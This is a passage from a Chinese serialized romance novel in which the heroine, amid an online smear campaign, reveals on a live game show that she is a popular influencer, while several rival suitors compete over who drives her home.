江玉鸣自身不能帮邢葵解决催婚问题,他就想帮她解决,同时他自己当她的小三、情夫,什么都行,怎么这么难? 他都能接受邢葵和梁君赫亲甚至睡,可是梁君赫偏偏贪婪得还要她的心。 玄关处,贪婪的梁君赫侧过身:“没听到没听到,哥你去上班吧。” 江玉鸣看似镇定,黑眸盯着梁君赫笑,他很享受和邢葵亲密,无法忍受这些要真恋爱,要从他身旁夺走邢葵的贱人。 脖颈处有动脉,一刀扎进梁君赫的脖子,他用多少秒就会死? 客厅里,邢葵洗完碗,离开厨房要去看看谁来了,擦着手上的水,一见玄关两个男人,刀光剑影扑面而来,立马止步,原地返回。 梁君赫视线却已经黏上她:“葵葵老婆!” 别叫!妈妈救我!邢葵头回都不回,看样子江玉鸣应该得知了梁君赫的转变,不用她额外讲了。 冥冥之中母女心有灵犀,邢葵的手机真亮起来。 “我妈给我打电话了!你俩聊!江医生注意下时间。” 梁君赫闻声,直接将江玉鸣推出去,砰地关上门:“上班别迟到了,家里有我。” 家里有他是什么值得放心的事吗? 门口处的江玉鸣笑容消失,拿起手机,和厉乘川的微信聊天页显示,昨日白天,厉乘川担心邢葵因为新闻怀疑上他,托江玉鸣试探试探。 还托他,必要时说说好话。 【是的,怀疑了,老厉,你最好将邢葵曾是你秘书的证据处理干净,她在查。】 【我倒是挺想帮你说好话的,但梁君赫一直在打岔,爱莫能助哦。】 黑吃黑。 斜对面的门后,周镜抬起咖啡喝了一口,另一只手抓着的手机上,曾经叫“好兄弟批评教育大会”的群,在昨天被更改群名。 请前辈多多指教(3) 【@周镜@许野,兄弟们我真香了,你俩怎么追到的葵葵,快传授下后辈经验。】 【都是兄弟,不要藏私!】 两人皆在群里回了复。 许野:【(过去梁君赫的嘴硬截图)反正别按这上面的做。】 周镜:【人生万事须自为,不过我的成功离不开江玉鸣相助。】 一个个黑得能滴出墨,反观爱穿黑的厉乘川,加班加点修改邢葵遗忘的过去。 那厢,邢葵吸气呼气好 几次,接通邢母来电,作轻松态:“妈,还没去上班啊?” “这才几点,我工作的厂子就在镇上,骑个小电驴几分钟就到,又不像你,天天要花几个小时在路上。” 邢葵坐下来,冲追到她身边的梁君赫比了个噤声手势,眉宇多出迟疑,不确定邢母对网上风波知不知情,语速转慢:“其实妈……我换了份工作。” “换了份工作?”电话里的邢母昂高音量,像不清楚,又平声,“随便你哦,你肯定有你的主意,吃过早饭没?” 邢葵缓气:“嗯。” “嗯,那就好,我也在吃呢,煮的菜粥,葵葵啊,在外不要亏待自己,要是受了什么委屈,大城市待不下去了,就回家。” 食指抠着桌面,邢葵安静地低下头,听着母亲犹豫又温柔的语气,明白了过来。 “好事不出门,坏事传千里”,丑闻昨天出,邢母大概昨天就从碎嘴亲戚那里听说。 就在邢葵觉得母亲睡着没打电话的时候,邢母兴许也怕她睡着打扰,等到天亮,估摸她起了床,立即打来。 没有质问,邢母不信网上乱七八糟,只是跟她说,家是她的退路。 邢葵有点感动。 邢母:“女孩子不用挣很多钱,嫁个好人家,有个好婆家——” “妈!我才要感动!”邢葵哭笑不得,“打住,后面的我就当你没说。” “你这孩子,一提到——” “砰”! 猝然的声响冲进耳朵,邢葵都抖了抖,手机里一道男音紧接着响起:“别跟她废话,让她滚回来!在外面不三不四地乱搞,我李家的面子都被她丢尽了!” 听得出来,李正军位置离邢母不远,邢葵想到家里布局,饭桌是长方形,短的两边单人座,长的两边双人座,两人习惯各坐一短一长。 邢母捂住手机,压低音量跟李正军吵:“我女儿姓邢不姓李,打着电话呢你吵什么!” “都是你把她惯坏了!有好人家不肯嫁,昨儿修鞋的老吴问我的时候,我都想钻鞋里去,花钱送她读了那么多年书,一点礼义廉耻都不懂。” “你闭嘴哦,我女儿不可能是网上说的那种人!” “妈。” “欸!啊?葵葵,咳,没、没听见吧?”邢母弱声。 邢葵手放上桌面,弯起笑:“听见了,没事,你放心,网上说的不对,这周日就能解决问题,抱歉妈,辛苦你熬几天。” “听到没?葵葵说了星期天就能好……”邢母和李正军继续吵架。 电话挂断,邢葵放下手机,余光见梁君赫趴在旁边,脸枕在交叠的双臂,幸福洋溢地望着她。 你幸福什么啊?! 梁君赫坐直,张开手臂:“我就说我俩家庭都有毛病,能抱团取暖,来,葵葵,我准许你跟我抱成一团!” 好玛丽苏的小王子,邢葵扭头就跑,这一跑就从周三跑到了周日,她急匆匆跑进节目化妆间,一进门,房里的人视线接二连三汇聚到她身上。 四个明星有单独的化妆间,这里是四个非明星共用的,化妆师也是共用的一个。 “跑慢点,别摔着。”额头有疤的陈海燕说道,别人都误会她是天天奇妙历险,但她自己清楚她不是。 她认为邢葵有嫌疑,对她的态度好些,其他人就不那么友好,两个男嘉宾眼神更鄙夷中带上“品鉴”意味。 “眼睛不想要自己抠掉。”邢葵身后,梁君赫冒出来,对他们嗤之以鼻,抓住邢葵手肘,“走,我们去我化妆间,我让我化妆师给你化,咱们狠狠打他们的脸。” 邢葵跟上,《十万问》最后一期在过去一周持续放出片段,今天中午更新整期,并在结尾无缝接直播,公布最终答案。 直播邢母可能也会看,邢葵就焦急了些,想画个显气色的妆容。 房间里剩下的人面面相觑:“梁少爷态度怎么变了?” 直播进入倒计时,空旷但遍布镜头的室外,八位嘉宾入座,七位难免紧张。 最后一期更新同时网络上的竞猜也截止,节目本就火爆,又关涉千万奖金,倒计时结束涌进直播间的用户不可估量。 邢葵双手握在一起,反复地摩,要将紧张尽数留在镜头点开之前。 梁君赫经常被全网骂,经验丰富,坐她旁边:“放轻松,实在不行待会儿我把他们全打一顿,网络讨论重点就转移了。” “……”谢谢,不紧张了,改害怕了。 但此时的重点还未转移,节目组、鼎天、灵潮、邢葵家人、除梁君赫以外的兄弟、因为节目喜欢上邢葵的粉丝……都在看最后一期目不忍睹的评论。 【来看垃圾女了,啊啊啊节目能不能给她打码啊?看到都觉得恶心。】 【不怪能被包-养,这女的是有能被包-养的本钱。】 【心疼梁少爷被吸血,嗑cp有点底线吧,梁少爷看狗都深情望周知。】 【我更心疼被她挤掉名额的人!人家都站出来捶她了,人家某抖三百万粉丝,就因为她抱了个粗腿,上不成节目,靠,好恶心。】 好像这年头,谁声音大,谁就是正确的,零星为邢葵说话的言论淹没在辱骂的海洋里,如蚂蚁在奔驰的大象之间。 倒计时归零,直播正式开始。 邢葵收起不安,平静下来。 “葵葵看上去气色不错。”邢葵一位有电脑的亲戚家中,邢母坐在电脑前激动道。 四周围了脸色铁青的李正军和几名看热闹的亲戚,亲戚们在邢母背后对眼神,等待看邢老二家笑话。 屏幕里,pd道:“各位还记得你们提交的答案吗?” 拍摄现场,嘉宾:“记得啊!” pd:“那在答案公开前,大家有没有最感兴趣的问题?” 熊思毅挤眉弄眼地笑:“我最感兴趣观众朋友们谁能全猜中拿到一百万。” 【妈的,都怪邢葵,跟她的脑残粉吵害得我忘提交答案了。】 【你错过了好多个零,邢葵是“元气向日葵”这条必对啊。】 熊思毅最会蹭热度,说完讨巧的话又笑哈哈,“开玩笑啦,我最好奇的是‘元气向日葵’是谁,嗯……感觉这个名字指向性太强,不知道是不是邢葵。” 他看向邢葵,还没做好表情,仿佛有两道X射线射向他。 梁君赫傲睨:“蠢货,节目组会设这么简单吗?” 类似对话,在周一录制最后一期时发生过,但梁君赫的反应迥然不同。 熊思毅讪讪,含笑问:“梁少爷不是教过我,有可能节目组就是猜到我们有这种想法吗?” 梁君赫脸也不红,抬高下巴:“那是几天前,几天过去,本少爷升华了。” 众人一言一语,七嘴八舌,邢葵举起手:“我想知道究竟谁会十门外语?” 一抹和头发相近的粉红爬上梁君赫脸颊,他并拢双腿坐正,说话都变了调:“是啊,究竟谁如此天才,好难猜啊。” 邢葵:“……”“他是天才”四个字快贴他脑门上了。 周梨脚尖抵在地面,白了梁君赫一眼,啪地拍手:“快快快,别卖关子!” pd:“好,接下来会按问题最初顺序公布答案。” 当时第一个问题是:谁差点自杀? 大屏幕跳上文字,说了些调动情绪的话,再然后,需要答案嘉宾自己站到屏幕前。 【我靠我靠我靠,陈海燕怎么站了?她是差点自杀,那天天奇 妙历险又是谁?】 【别小题大做,她可能同时是几个问题的答案呗。】 陈海燕对着话筒讲了些话,她过去遭受校园霸凌,被人从楼梯上推下,额头在台阶上磕破。 那时家里没钱,等她长大挣到付得起疤痕修复的钱,她的疤痕已不可修复,看过医生的那一天,她从医院出来,站在马路车流旁,很想直接死掉。 【我靠,她的疤是这样来的,跟天天奇妙历险不一样啊。】 【别小题大做,天天奇妙历险的故事可能是编的呗,陈海燕从自己的疤取的材。】 中央大屏跳上第二个问题:谁会十国外语? 作为答案的梁君赫急不可耐地迈到话筒前:“除了本少爷还能有谁?” 他趾高气昂,半垂的眸子则悄悄地关注邢葵神情,向她炫耀。 邢葵转向陈海燕:“我猜中了,老祖宗诚不欺我,大智若愚。” …… 来到第六个问题:谁是“元气向日葵”? 镜头移向邢葵,锁着邢葵,继而一道画外音响起:“是我。”镜头移开,一名素人男嘉宾笑呵呵地离开座位。 【我靠???他哪位啊他??????为什么不是邢葵!】 眨眼间,直播间的弹幕被问号大军驰骋。 节目外奖金分为一百万和一千万,第一个提交全对答案的是一百万,剩下的人按正确率瓜分千万。只要能对一道,多少能分点羊毛。 邢母看着电脑红脸赤颈,伸手去指:“你们看,我女儿不是元气向日葵!” 身后亲戚难看地笑,他们听说邢葵八卦,嗅到钱的气息,也去参加了竞猜,这下好了,截至目前正确率全部为零。 【为什么不是邢葵!她到现在一个问题的答案都不是,她不会是“天天奇妙历险”吧?】 【何弃疗啊朋友,不是向日葵绝对是“红遍全宇宙”啊。】 【前面是邢葵的水军吧,还蹭天天,想红想疯了,吃相真难看。】 第七个问题:谁是“红遍全宇宙”? 众目睽睽中,曾在第四个问题站过的周梨再次站起:“我就是想红,有意见把嘴闭上,快!给我公布最后一个问题答案!” 她快速下台,网上流言纷纷,周梨真受不了那些,已经用小号和网友对骂了一周。 她一刻都不能等地想公布邢葵身份,想冲到她身边抱住她,告诉全世界,邢葵就是她周梨的心肝好姐妹! 人人皆知,周梨疑似出现在“天天奇妙历险”的帖子里,并根据帖子后续,疑似和“天天奇妙历险”结交成好友。 【家人们,姜天玥和邢葵都没有过问题,买定离手了!】 【还用猜?肯定是姜天玥!邢葵也配是“天天奇妙历险”?不管天天的故事是不是编的,她确实是一天天攒出来的粉丝!很励志!】 【对啊,节目还没录天天就五百万粉丝数,一个不想着靠自己、找金主、自甘堕落被包-养的人也配啊?】 【坚决抵制这样的人进娱乐圈!】 【邢葵滚出娱乐圈!】 【邢葵滚出娱乐圈!】 第八个问题在屏幕上亮起,邢葵站起身:“我是‘天天奇妙历险’。” 第85章 全场一片寂静。 她轻声地、但绝对不怯地说,她就是“天天奇妙历险”。 短短几个字的信息量,让不清楚邢葵身份的嘉宾、工作人员,乃至弹幕,全都僵住。 仿佛他们听到的是:二郎神如何做眼保健操? 是:先有鸡还是先有蛋? 是:i(/t)ψ(r,t)=(cα…… 直到有人起头喊了句“什么!”,“什么”声此起彼伏,弹幕也重新流动。 梁君赫往椅子上一仰,跷起修长的腿:“大惊小怪,就她那温驯善良的脾性,和天天奇妙历险不像吗?” 熊思毅:你之前不是这么说的少爷! 周梨表现更加夸张,如同是她自己扬眉吐了气,伴随微风一甩短发,畅意地笑。 大步迈到邢葵身边,向中央屏幕伸开一条手臂:“来,姐妹,去迎接你的猎杀时刻!” 邢葵不好意思,轻轻拂开周梨抓她的手:“什么猎杀时刻呀。” 沁凉的指尖碰到周梨手背,她抖了抖,背过身,一只手捂住被碰过的手背,憨憨傻傻地“嘿嘿”。 全场:来人揉一下我眼睛,这是娱乐圈知名的女疯子周梨? 【感觉我们梨梨憋坏了,恭喜好姐妹终于能正大光明地秀恩爱!】 【我就猜是邢葵!第二期泼水游戏,那水溅到她,除了梁君赫就周梨挡得最快。】 【先前骂的人呢?出来道歉!】 节目组实时监控着舆论,厉乘川他们也都在看,有些过分到极点的,也都被周镜的律所记录。 骂邢葵的声量飙了好几日,不代表所有看到新闻的人都相信,当邢葵公开身份,沉默的螺旋反向转动,骂的人暂时止声,支持的言论逐渐涌上来。 还有人在反驳:【证据呢?别不是买通节目组作假吧?】 众人注视中,邢葵走到嘉宾发言的麦克风前,风轻柔吹动她额角发丝,掠过干净的额头。 她道:“大家好,最近又经历了不少奇妙历险。” 【好熟悉的开场,我鼻子开始酸了,粉天天很久了,她一直在记录她幸运活下来之后的种种,经常这样说。】 话语可以抄袭,邢葵平静,八个问题答案一个个揭晓,快要到她时,她心提到喉咙,可真正站在这里,她心里生起无限勇气。 “去年二月,我躺在病床上,看着窗外飞舞的寒雪时,没想到我今天会站在这里。 可能大难不死必有后福吧,救命恩人借我一只帽子,我发了一条寻帽帖,就此开启了‘天天奇妙历险’之路,‘葵’字的下面藏着‘天’字。” 身后大屏幕上跳上咖啡色鸭舌帽的照片,侧边一排在粉丝眼中很熟悉的小蛋糕,照片却是陌生的、未在网络发过的。 帽子可以借来拍,“车祸在我额头上留下了一道疤,万幸科技发达,数次激光后它消失不见。” 这时,屏幕出现邢葵在医院的医疗记录。 它是如山铁证,除非医疗记录造假,但那要被处罚。 邢葵偏过脸看看屏幕,记录是江玉鸣帮她调取的,帽子,她跟许野分手时他拿走作了纪念,是他帮忙拍的照片。 她笑了笑,回过头:“疤痕消失不见,不过我的奇妙历险仍在继续,关于近期争议,其实你们说的老板就是我当时住院的病友,这也是一段奇妙历险吧,有机会我给大家更新。” 一声“谢谢”,结束了她的发言。 邢葵挪步走下台,周梨飞快冲上来揽住她:“姐妹还有我呢!”她面向镜头叫嚣,“我就是律师男的……” 她像吃了坨狗屎,忍了忍,说出那个称呼,“妹妹,我拿我的演艺事业担保,我们家邢葵,绝对值得粉!” 【哈哈哈,能驯服周疯子的女人,我真感兴趣了。】 【我真哭了,天天一天天走到今天,还要被网暴,我跟你们没完。】 【朋友们,我发现一件事,她好像不进娱乐圈,不要啊!她的形象我能代入很多女主呜呜。】 梁君赫注视他的女主角,努力前进的她犹如阳光下的小葵花,每一片花瓣标记风 的方向,灿金、柔美、令人瞩目。 他移走视线,抬手,用力在看愣掉的另一位男星面前一拍:“看什么看!我心上人。” 【???梁少爷你!】 “在追。”梁君赫骄傲地表示。 【也不知道少爷在骄傲什么哈哈。】 【我的妈呀,所以镜头下的糖都是真的?还是梁少爷倒贴。】 【cp粉激动得不知道该说什么,今年才三月,蹲少爷今年内能有好消息!】 周镜右键,举报。 许野右键,举报。 江玉鸣右键,举报。 【只有我在好奇老板为什么是病友,蓄谋已久霸总吗啊啊,我是房东党蹲蹲产粮。】 厉乘川点了个赞。 梁君赫看向pd:“走下一个流程了。” 八位嘉宾提交的答案结果公开,梁君赫只对了他自己那条,等于一条不对,其他嘉宾或多或少对了几条。 他也不羞,一周前的他和现在的他有什么关系?邢葵说他大智若愚,那是褒义词,梁君赫开心得头上要冒粉色泡泡。 屏幕上展示着结果,他黏糊糊地和邢葵道:“看,大智若愚,葵葵你是聪明过人,你全对。” 节目将以她的名义向山区捐款一百万。 做了好事的邢葵神采奕奕,梁君赫再次看向pd催流程:“下一个环节。” “还有别的?”邢葵讶异,到这里该结束了呀,只见工作人员搬上设备。 “是结束了,但你平常看综艺,片尾是不是会放歌?”梁君赫拍拍腿,站起,“我今日身负重任,我将在现场以一首歌结束直播。” 邢葵没回答,好一会儿在心里吐槽:这是梁君赫额外加的环节吧,就为了强制让她再听他唱歌,要和江玉鸣比出高下。 那晚她喝醉了,对两人歌声都没印象,梁君赫要比的话,拉江玉鸣来也再唱一遍更合适吧。 音乐前奏响起,邢葵微愣:“这调子……有点耳熟。” 平日里,江玉鸣心情愉悦的时刻会哼歌,这首歌的曲调,貌似和他哼的很像。 “耳熟正常啦。”周梨听到她喃喃,“梁君赫不露脸翻唱老歌出的道,这首歌是他表姑的金曲,天后梁佩玲的《刻骨不渝》。” 梁佩玲是九十年代首屈一指的美女歌星,邢葵记得她刷到过类如“上世纪知名歌手”的盘点帖,曾粗略看了一眼。 据说梁佩玲拥有红酒般旖旎的金嗓,可惜成名后嫁入豪门隐退,叫人扼腕。 这首《刻骨不渝》讲的是生与死永不改变的爱恋,梁君赫动唇唱,邢葵挠了挠眉梢,难怪梁少爷没凭唱歌闻名,确实一般哈。 也不能说不好听,只是梁君赫嗓音清朗偏甜,不适合这首歌。 这首歌,换那种带点哑的嗓子唱,更妩媚迷人。 见梁君赫直勾勾看向她讨赞,邢葵手指动了几下,蜷起来,大拇指竖起,给面子地送他一个赞。 被打入鸡血,梁君赫唱得更嗨,将生与死的爱恋唱成老婆老婆我爱你。 邢葵忍不住地撑额头,乐符流淌中,她是“天天奇妙历险”的惊人消息也插上翅膀飞出直播间。 邢葵老家,邢母看见邢葵在台子上轻描淡写,眼眶泪水直落。 “瞧见没?葵葵是天天奇妙历险!” “天天奇妙历险是什么咯?”她周围有亲戚问。 邢母也不知道,她感觉是好的,所以才特别大声,她很清楚亲戚会将八卦向外传。 这时的邢母在有电脑的亲戚家,星期天这户亲戚的孩子放假,就在旁边,初中生抱着手机叫起来。 “天天奇妙历险你们都没听说过?近年特火的网红,好几百万粉丝,我的天,邢葵姐姐一年是不是不止挣一百万啊?” 亲戚:“你开玩笑吧?” 邢母也想问,初中生一惊一乍:“什么开玩笑!我听说网红还有年收入好多亿的!邢葵姐姐上节目火了,今年能赚更多吧!” 总结:钱多。 家长们接二连三变脸,换上讨好的笑:“春霞啊,葵葵真是一年比一年出息。” “哎哟,还有大明星追呢。” 有出息的邢葵卸完妆走出化妆间,兆光文化明面上的老板兰姐,同时也是她的经纪人跟在她身旁,手上拿着小平板。 “很好,过去一个小时涨的粉丝数比过去几周数据加起来还好,按照这样势头,你今年八成能破千万。” “谢谢兰姐,这些天辛苦你了。” 兰姐抓了下直马尾,上斜的眼睛看向她:“想谢我接下来你就好好工作,多让我赚钱,行了,我先走了,赶时间要去给你谈个广。” “好——”不远处走来厉乘川,一身黑,气场似高楼,危险似鬼怪,邢葵赶紧接上话,“——仓促的消息,我还想问问我之后的活,要不我跟兰姐一起去?” 她那天复盘的事一件件解决了,但她对厉乘川的怀疑还未结束。 兰姐疑惑:“你不是说我办事你放心吗?你不放心我了?” 邢葵摆手:“没有没有,嗨,房东,真巧,录节目也能遇到你。”真尴尬。 厉乘川站定,落在她脸上的视线幽邃:“不巧,我是绯闻的男主角,来节目组处理问题而已。你想走?” 他在解释,这回的相遇不是巧合,然而当真不是吗? 邢葵信不了,厉乘川和她之间的巧合不止一个两个,问过的人也都告诉她知人知面不知心。 她余光觑看附近找摄像头找安全感,尽量语气自然,笑着反问:“啊,节目录完了我不走干嘛?难道我还要逛逛这里呀?” 厉乘川一只手负在身后,食指掐陷大拇指肉,俊美的脸庞不露情绪:“那正好,一起走吧。” 他已经从江玉鸣那里确认邢葵在怀疑他,不敢做什么表情,怕有任何不妥,怕邢葵怕他,声音沉闷。 厉乘川在听江玉鸣建议减少和邢葵见面。 江玉鸣说厚积薄发,忍一时风平浪静,熬到邢葵疑心消无,便能高挂云帆,横渡沧海。 厉乘川信,但他认为一味的“避”解决不了根本问题,他有更好的办法。 为什么不让邢葵见见她的“老板”呢? 一家集团下面有许许多多小公司,邢葵刚进鼎天签的是其中一个小公司,厉乘川经调查,发现那家公司的总负责人恰好就是她说的肥肥地中海。 大概率,邢葵是在记忆中给这个负责人升了咖,让他替掉了厉乘川,但也不一定。 或许,他能开车载邢葵回家,让她在马路上不经意见到这位负责人,看她的态度,推测她的记忆究竟变成了什么样,这样才能应对她的怀疑。 厉乘川是真想解决问题,而江玉鸣只是想让他离邢葵远点儿,对付梁君赫去。 以厉乘川的嗓音,唱《刻骨不渝》应该也别有一番风味——邢葵醒醒,你不是声控啊喂! 她转动脑子,想找不坐厉乘川车的借口。 厉乘川家就在她家旁边,她有什么理由拒绝顺路的他? 是说,不,她想去逛一下街。 还是说,今天想试一下共享单车。 都不合理!邢葵刚下节目,正火着,不可能在外面到处跑,给狗仔提供素材。 可恶,黏着她的梁君赫这会儿去哪儿了——被厉乘川支开了。 没见到梁少爷,见到了他姐,远方,高挑的职业装女性正在和和荔枝影视的高层交谈。 “梁总!”邢葵捕捉到梁昭然身影,喊道。 梁昭然看了看她,结束和高层对话,顿了两秒,走过来:“厉总许久不见。” 厉乘川点头,没说话。 邢葵也有段时间没线下见梁昭然了,她们只在线上联系,毕竟她俩上回见面并不愉快,一个想利用,一个反威胁。 “厉总方便的话,请移步,我有话要跟我的员工说。”梁昭然桃花眼盯着厉乘川,故意强调了“我的员工”四个字,炫耀厉乘川的骨干如今是她的人。 厉乘川冷睨了她一眼,和邢葵道:“前门有记者,别从前门走,我在后门等你。” 好,这下前门后门都被堵死了。 望着厉乘川离开,邢葵仰头望天,低头望地,可恨她既不会飞天也不会遁地,更不能一拳打出新出口,老天,何苦为难她努力奋斗邢小葵。 “梁总,别再跟我说你家封建了,实不相瞒我真不想被牵进去。”防止梁昭然又要讲,邢葵先一步说道。 梁昭然失笑:“你被我闹出心理阴影了?我不是要说这个。” 邢葵:“那你要说什么?” 梁昭然想到梁君赫向她提出的交易,向邢葵走近一步,放低音量:“我是想提醒你,别离厉乘川太近,知人知面不知心。” 邢葵:“……”好熟悉的话! 第86章 同一句话,邢葵已是第三遍听。 但这回 不一样,眼前的梁昭然和她关系谈不上好,她突然跟她说厉乘川,多少有点突兀。 将事情在脑海转了一遍,邢葵想到,定是梁君赫教的梁昭然,他嫉妒心烈,节目上男嘉宾瞧她时间久一些,他都要拍手警告,何况对有可能在跟踪她的厉乘川。 她无奈:“别向我提供未经验证的信息啊,我还以为那晚之后,你们姐弟氛围变僵了。” 梁昭然略感意外,很快镇静:“是不融洽,但他向我提出交易,用我对你说几句话,换他绝不继承灵潮,很划算。” 划算什么呀,邢葵抽了抽唇角:“他本也不想继承,以他智商,大概多年前就发现你有要抢继承权的心思,故意变成傻子让给你。” 梁昭然滞住,讶异地盯着邢葵,仿佛她说的话十分荒谬。 “你也别跟头一回知道似的,他是你弟弟,你不是愚钝的人,能不清楚他的品性?你也在装傻当恶人。” 梁昭然冻得犹如冰人,不敢相信邢葵所言,两只眼中惊疑不定。 她消化着,片刻后冰层裂痕:“或许吧,或许我也明白,你怎么看出来的?” 邢葵瞧得透彻:“梁君赫那么多黑料,不管真的假的,你有本事让它们消失,但你没有,你也能利用它们搞垮他,但你也没有。” 冷汗从梁昭然额角渗出,她像沉溺在梦里,然后有人将她拽到清醒的世界。 是啊,梁昭然就对梁君赫的良苦用心一点感觉都无吗?是她选择闭上了眼睛。 邢葵看着这位姐姐,梁昭然也不容易,若非梁家富庶,她在重男轻女的家庭不知该受多少苦。 “我说你们姐弟俩,有空不如吃顿和解饭,而不是跟我说假话影响我的判断。” 梁家的事邢葵本不想说,但反正现在说不说梁君赫都喜欢上了她,一个话茬递到她嘴边,邢葵还是点梁昭然一下吧。 谁让梁昭然和她同性,期望她未来能活得舒服些。 “那我走了哦,等等,梁君赫提的交易是你要对我说几句话,‘几句’在哪里?”邢葵冷不丁意识到不对。 梁昭然和梁君赫相似的桃花眼对着她,里头漾开星星点点的笑意:“我刚不说了好几句吗?” 她说厉乘川是只说了一句,可她回邢葵说了不止一句。 “我弟跟我说,只要我对你讲那句‘小心厉乘川,知人知面不知心’,你会告诉我,他绝不继承灵潮,你真告诉我了。” 邢葵默,被算计了,梁少爷,智商情商,恐怖如斯。 “而你告诉我的东西,让我也想告诉你一句话。”梁昭然同被算计,笑笑,“考虑考虑我弟吧,我爸那边我有处理,你和他在一起不会有任何婆家、妯娌问题。” 梁君赫这是将选他仍有可能失败的隐患都解决了。 这些年梁昭然在灵潮不是白干的。 原先她想要从梁父手上名正言顺地得到继承权,但要是不可能,梁君赫又真不要,她直接架空梁父抢也未尝不可。 梁君赫真的用心在追她,邢葵感叹,不过用心追过她的人也不止一位了,她不会这样就心动。 和梁昭然说完该告别,可直到梁昭然都没了踪影,邢葵还没迈出一步。 她烦恼地拍住头,走前门有狗仔堵她,走后门有疑似变态的厉乘川在堵她,她走哪条路死得比较慢呢? “在想什么?”一道意料之外的声音响起,温和如春日涓涓溪流,周镜迈出,不知他是凑巧这时到,还是已经听她和梁昭然交谈有段时间。 站定到邢葵面前,他解释他出现在此的原因,“绯闻事件,我是厉乘川的律师。” 邢葵听懂:“噢噢,我刚还遇到厉乘川了,你们约好的吧。” “你遇到他了?”周镜稍讶,“他没通知我他也要过来。” “什么?”邢葵更惊讶。 周镜骨节分明的中指推了下金丝镜框,楼层窗口下放着一盆孔雀木,叶片绿油油,中间叶脉长得像宫斗剧里拿来扎人的细针。 “可能他不放心我。” 不可能!厉乘川和周镜私下将近决裂,还能将鼎天的事交由周镜的律所,可见公私分明,绝对信任周镜工作能力。 那他怎么还过来?周镜处理事件时也没遇见他,难道厉乘川真是在跟踪她? 周镜神色平和,看着念头百转的邢葵:“你还没说你刚抱住头在想什么。” “那不……噢,那很重要。”邢葵愁眉锁目,“是这样,厉乘川说他在后门等我,前门有狗仔,我不知道该走哪里。” 周镜眉眼露出些微疑惑:“你和厉乘川怎么了吗?” “就有一些事吧,我之前不是想邀你们几个兄弟见面嘛,就是想聊这个,到时再说,周律师,你先帮我分析分析我该怎么出去。” “我记得,我们兄弟时间总对不上,但今天也许能聚上……”周镜沉吟,看了眼前后方向,忖度,“还是走后边妥当,我陪着你,厉乘川不会妄动。” 毕竟狗仔一句话能掀起新的网络暴力,而厉乘川,是真没危险。 “我的车也停在后门。”周镜道。 邢葵跟上周镜,打开手机定位、录音,又摸摸口袋里美工刀,硬着头皮走向大楼向西的出口。 出口处左右两边站满保镖,估计是厉乘川的安排,后门鬼鬼祟祟的狗仔八成也全被清理。 只是,出口处不止一辆车,而是三辆,车主各不同。 “葵葵上车!我送你回家!”梁君赫从最前方拉风的粉色敞篷跑车里探出头,“我这辆最好看你最想坐了对不对?” 最后方黑色宾利旁,厉乘川看到她和周镜一同走出,眉梢微凝,手按上车把手:“上车吗?” 周镜意味深长地瞥了一眼昔日好兄弟,他朴素的灰色车辆正停在两辆豪车之间,他向邢葵侧过头:“坐我的车也顺路,不是吗?” 三个人,三道视线,同一个问题。 邢葵想查查今日气温多少,太阳怎晒得她头晕目眩。 “喂喂喂。”最前方,梁君赫利落地从车里跳下,大步向她迈来,“讲一下先来后到吧,我第一个问的。” “如果这么算,我在楼里就问过了。”厉乘川横臂,俊美无俦的脸冷意森森,挡住梁君赫。 可笑,出现在邢葵身边的顺序梁君赫不讲先来后到,响亮地说后来者居上,这个时候他倒讲得心安理得。 “那你没我早,我录节目前就问过了,葵葵你说对吧?”梁君赫被拦在厉乘川手臂后面,冲邢葵挤眉弄眼,好看到没瑕疵的人就算挤眉弄眼也好看。 厉乘川额角冒出青筋:“如此明显地让她配合你撒谎,你当我看不懂吗?” 梁君赫抱臂,被厉乘川阻拦到不了邢葵身旁,索性斜靠到门边,不可一世:“那没办法,葵葵就是愿意宠我,这种殊荣你想要还没呢。” 厉乘川冷笑,这就是他曾经高喊要为他两肋插刀的好兄弟:“她是觉得多一事不如少一事,你还当殊荣。” 梁君赫嘴角一僵:“葵葵你看他,他骂你!” 他哪有骂邢葵! 不管,在梁君赫嘴里就是骂了,以前他是说要为厉乘川两肋插刀,但他有说刀插在谁的两肋吗? 邢葵只觉太阳好晒,树上的小鸟被晒得仰躺抽脚丫,地上的小狗被晒得伸舌哈哈哈。 她就像小狗的猎物,也被晒得昏昏沉沉,只想趴在地面躺平,随便哪只狗要咬她,随便了。 这时有好心人在她头顶打了把伞,周镜瘦高的身影在她脸上投下象征清凉的阴影:“他们会不会太吵了?” 厉乘川:心机男。 梁君赫:死心机男。 “你坐车上休息休息吧,我来跟他们商量。”周镜取出他的车钥匙,交到邢葵手上,兵不血刃斩获送邢葵回家的机会。 他不露锋芒地看厉乘川和梁君赫争,在邢葵做不出选择时,恰到好处地诬陷两人吵闹,借上车休息送邢葵台阶。 邢葵麻利地跑掉,留厉乘川和梁君赫目光化作一根坚钉,想钉死周镜,他们深于城府的好兄弟。 周镜淡定,祸水东引:“梁君赫,好久不见,还记得去年上半年厉乘川想尽办法将你滞在国外,没想到因缘际会,如今你还是喜欢上了邢葵。” “什么?”梁君赫斜眼,“厉哥,你看你,都是你推迟了我和葵葵相遇的时间,不然我俩现在应该在度蜜月。” 谁给他的自信?如此傲慢! 厉乘川不会总是被动,都撕破了脸,他没什么好跟周镜客气的:“这话也得对你周哥说一说,他那时也点我去对付你。” 梁君赫了然,他同样不会被周镜当枪使,嘴角勾起一抹戏谑的笑:“周哥,机关算尽还是跟葵葵分手啦?” 饶是周镜,古井无波的脸也裂了一 道纹。 “也罢也罢。”梁君赫手抬起来,叠到脑后,高傲无与伦比,“就让你当一回司机吧,横竖你又当不回男朋友。” 厉乘川都想笑,转念想到梁君赫的攻击力也对着他,笑不太出来。 周镜蜷了蜷手指,扫了眼揭穿他的厉乘川,阳光照着镜片,藏起他莫测的神情。 好兄弟,日后还有他更笑不出来的时刻。 他走向他的车,而三分钟前,邢葵也上了周镜的车,后排,年轻的男人坐在右边窗旁,过长的腿曲起,荷尔蒙占据空间。 运动长裤下方,露出的一截是金秋的小麦色。 她上移视线,差点叫出来:“许野!” 去年十月一别,已几近半年不见,许野跑遍赛场,横扫各大田径赛事奖项,他现今的肌肉比过往还要饱满,性感四溢。 邢葵不由自主盯着看,许野却更忍不住,褐眸睫毛颤动,伸臂大力将她捞进怀里。 第87章 “周哥告诉我,待在这里就能看见你。” 热烫的手臂环住她的腰,许野闷热的声音从头顶传下,邢葵在想他的胸肌真变大了,她脸都埋了进去。 真烫,许野原来不穿蓝色,只因电影院那回,邢葵夸他穿蓝色合适,蓝色便成了他常穿的颜色。 但是周镜、厉乘川、梁君赫三个人都在车外,抱她也太刺激了。 “你也来啦?” 